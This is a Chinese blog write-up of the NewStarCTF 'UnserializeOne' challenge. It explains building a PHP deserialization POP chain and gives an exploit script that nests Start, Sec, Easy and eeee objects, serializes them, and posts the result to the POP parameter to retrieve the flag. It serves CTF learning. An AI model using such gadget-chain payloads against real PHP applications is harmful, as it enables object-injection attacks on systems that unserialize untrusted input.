[NewStarCTF 公开赛赛道]UnserializeOne

本文介绍了如何在PHP中使用反序列化技巧,通过构造类的链式调用,利用魔术方法实现复杂的数据结构,最终通过POST请求传递序列化结果获取特定flag的过程。
摘要由CSDN通过智能技术生成

这道题是反序列pop类型的。

这道题的链路比较好复原,正向逆向都可以。

正向复原,图画的比较丑,谅解一下。

反向复原

这里不知道魔术方法的功能可以看这两个链接。

PHP反序列化研究 - 知乎

PHP 魔术方法、序列化与对象复制-腾讯云开发者社区-腾讯云

后续就是编写exp

先将代码复制进vscode,然后把所有和属性无关的删除。

<?php
highlight_file(__FILE__);
class Start{
    public $name;
    public $func;
}

class Sec{
    public $obj;
    public $var;
}

class Easy{
    public $cla;
}

class eeee{
    public $obj;
}


?>

然后构造pop链。

<?php
highlight_file(__FILE__);
class Start{
    public $name;
    public $func;
}

class Sec{
    public $obj;
    public $var;
}

class Easy{
    public $cla;
}

class eeee{
    public $obj;
}

$res = new Start;
$res->name = new Sec;//第一条链
$res->name->obj = new Easy;//第二条链
$res->name->var=new eeee;//第三条链
$res->name->var->obj=new Start;//第四条链
$res->name->var->obj->func=new Sec;//第五条链
echo serialize($res);
?>

将结果以POST请求传给参数POP。得到flag

  • 7
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值